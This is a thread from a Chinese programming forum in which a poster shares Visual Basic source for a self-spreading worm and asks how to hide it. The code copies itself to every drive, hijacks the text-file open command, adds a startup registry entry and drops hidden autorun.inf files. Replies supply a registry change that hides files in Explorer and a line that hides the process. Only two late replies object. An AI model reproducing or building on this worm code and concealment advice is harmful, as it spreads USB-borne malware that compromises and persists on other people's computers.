| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1133 人关注过本帖
标题:我的蠕虫终于完成了
只看楼主 加入收藏
VB狂热菜鸟
Rank: 1
等 级:新手上路
帖 子:20
专家分:0
注 册:2007-3-7
收藏
 问题点数:0 回复次数:7 
我的蠕虫终于完成了

我就是不知道怎么让程序在资源管理器中看不见。哪个大哥公布一下代码啊。


Option Explicit
Const hkey_current_user = &H80000001
Const hkey_local_machine = &H80000002
Private Declare Function OSRegCreateKey Lib "advapi32" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpszSubKey As String, phkResult As Long) As Long
Const reg_sz = 1
Const reg_expand_sz = 2
Private Declare Function OSRegSetValueEx Lib "advapi32" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpszValueName As String, ByVal dwReserved As Long, ByVal fdwType As Long, lpbData As Any, ByVal cbData As Long) As Long
Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long


Private Sub Form_Load()
On Error Resume Next
Dim a As Long, b As String, c As String, benshen
benshen = App.Path + App.EXEName + ".exe"
For a = 2 To 9
b = Chr(65 + a) + ":"
c = b + "\system.exe"
FileCopy benshen, c

retu = OSRegCreateKey(hkey_local_machine, "software\classes\txtfile\shell\open\command", hKey)
retu = OSRegSetValueEx(hKey, "", 0&, reg_expand_sz, ByVal c, Len(c) + 1)
retu = OSRegCreateKey(hkey_current_user, "software\microsoft\windows\currentversion\run", hkey1)
retu = OSRegSetValueEx(hkey1, "text1", 0&, reg_sz, ByVal c, Len(c) + 1)

Open b + "\autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "open=system.exe"
Print #1, "shellexecute = system.exe"
Print #1, "Shell\Auto\Command = system.exe"
Close #1
Next
Shell "attrib +h c:\autorun.inf"
Shell "attrib +h c:\system.exe"
Shell "attrib +h d:\autorun.inf"
Shell "attrib +h d:\autorun.inf"
Shell "attrib +h e:\autorun.inf"
Shell "attrib +h e:\autorun.inf"
Shell "attrib +h f:\autorun.inf"
Shell "attrib +h f:\autorun.inf"
Shell "attrib +h h:\autorun.inf"
Shell "attrib +h h:\autorun.inf"
Shell "attrib +h i:\autorun.inf"
Shell "attrib +h i:\autorun.inf"

End Sub

搜索更多相关主题的帖子: 蠕虫 
2007-03-20 23:43
cucu3998
Rank: 1
等 级:新手上路
帖 子:47
专家分:0
注 册:2007-3-20
收藏
得分:0 

你把资源管理器查看隐藏文件关掉
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advan ced\Folder\Hidden\SHOWALL,将右窗的双字节项值CheckedValue改为0即可。
这样,你的蠕虫在管理器里就看不到了,就像熊猫烧香似的。

2007-03-21 09:01
VB狂热菜鸟
Rank: 1
等 级:新手上路
帖 子:20
专家分:0
注 册:2007-3-7
收藏
得分:0 

感谢大哥回我的贴啊。小弟受益非浅。 不知大哥能否留个QQ,日后好向你请教。

2007-03-21 11:22
cucu3998
Rank: 1
等 级:新手上路
帖 子:47
专家分:0
注 册:2007-3-20
收藏
得分:0 
41510074,你才是高手,我是小菜,呵呵,我也正在学VB,就是学不会
2007-03-21 13:41
hanyiask
Rank: 1
来 自:滁州
等 级:新手上路
帖 子:345
专家分:0
注 册:2007-2-6
收藏
得分:0 
能否把原工程发上来送到我的邮箱hanyiask@126.com[em17]

但愿朝阳常照我土,莫忘烈士鲜血满地!
2007-03-21 20:56
xjp1210
Rank: 1
等 级:新手上路
帖 子:15
专家分:0
注 册:2009-2-24
收藏
得分:0 
晕啊,只要加上
Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False

End Sub
就OK
2009-07-20 20:25
Joforn
Rank: 6Rank: 6
等 级:贵宾
威 望:23
帖 子:1242
专家分:122
注 册:2007-1-2
收藏
得分:0 
还好现在大部分电脑已经能够免疫了

VB QQ群:47715789
2009-07-22 11:07
dhy80801
Rank: 3Rank: 3
等 级:论坛游侠
帖 子:67
专家分:145
注 册:2008-12-14
收藏
得分:0 
不法之徒
2009-10-08 14:59
快速回复:我的蠕虫终于完成了
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.017127 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved